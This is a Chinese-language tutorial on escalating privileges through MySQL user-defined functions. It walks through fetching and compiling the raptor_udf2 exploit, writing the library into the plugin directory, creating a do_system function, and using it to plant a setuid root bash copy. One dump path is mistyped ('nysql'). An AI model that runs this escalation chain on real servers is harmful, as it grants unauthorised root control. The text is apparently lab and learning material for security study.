文章目录
UDF:user define fucntion,在mysql中,允许用户创建自定义函数,这些函数可以在SQL查询语句中使用,通过使用UDF,用户可以对数据库执行自定义操作。
提权条件:
- 拥有mysql数据库账号,且这个账号对mysql数据库有create、insert、delete权限;
- mysql数据库的
secure_file_priv
为空,这个变量主要限制load data、select * into outfil、load_file()
只能在特定目录进行。该变量有三种情况:
secure_file_priv=null
:所有路径不可写;secure_file_priv=''
:所有路径可写;secure_file_priv='/xxx/xxx'
:/xxx/xxx路径可写;
searchsploit mysql udf # 寻找mysql UDF相关的EXP
searchsploit mysql udf -m 1518.c # 将漏洞库中的1518.c下载到当前目录
gcc编译的时候,不指定相关参数,直接接源文件,可能会有各种各样的报错。
简单查看该EXP,在利用过程中,需要登陆到mysql数据库,新建表,在表中插入编译好的共享库,
mysql数据库是mysql的核心数据库,主要负责存储数据库的用户、权限设置、关键字等mysql自己需要使用的控制和管理信息。
gcc -g -c <源码文件> -fPIC
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
-g
:生成调试信息
-c
:仅仅编译源代码,不进行链接,通常生成.o文件
-fPIC
:生成位置无关代码,PIC(Position independent code),这种代码可以在内存中的任何位置执行,
docker cp <宿主机文件路径> container_id:<coker容器中文件路径> # 将生成的so动态链接库文件传入docker容器内
mysql -u root -p # 登录mysql数据库
# 查看是否满足UDF提权的基本条件
select user(); # 查看当前用户权限
show variables like '%secure_file_priv%' # 查看mysql中secure_file_priv的值
# 写入so共享库文件路径
show variables like '%plugin%'
这里账号权限属于root
权限,且secure_file_priv
的值为空,意味着任何一个目录都是可写的。故满足mysql UDF提权的基本条件。
create table foo(line blob): # 创建一个名为foo的数据表,有一个line列,其中的数据类型为blob。基本语法:create table table_name(columns datatype,...)
# foo在计算机编程和网络领域是一个常用的占位服务名称,本身没有任何意义;
# blob,即binary object,二进制对象,在存储二进制数据(如图像音频,UDF函数等)时,经常用这种数据类型。
insert into foo values(load_file('/tmp/raptor_udf2.so')); # mysql插入语法:insert into table_name(column1,...) values (values1, ...)
# load_file():mysql中从本机导入文件
select * from foo into dumpfile('/usr/lib/nysql/plugin/raptor_udf2.so'); # 查询foo表中的所有数据,并将其写入/usr/lib/nysql/plugin/raptor_udf2.so
# outfile和dumpfile的区别:
# outfile可以写入多行数据,并且字段和行终止符都可以作为格式输出;
# dumpfile只能写一行,并且输出中不存在任何格式。
# 注意:outfile导出二进制文件的时候会出错,最好用dumpfile
create function do_system returns integer soname 'raptor_udf2.so'; # 创建自定义函数
# 函数名为do_system;
# 返回值为整形,soname共享库名字为‘raptor_udf2.so’,mysql的共享库路径就是/usr/lib/mysql/plugin/
select * from mysql.func; # 查看mysql自定义函数
select do_system('cp /bin/bash /tmp/rootbash;chmod +xs /tmp/rootbash'); # 执行系统命令
/tmp/rootbash -p # 退出mysql连接,-p是以特权root身份启动bash.
chown mysql:mysql <文件路径>
:修改文件属主。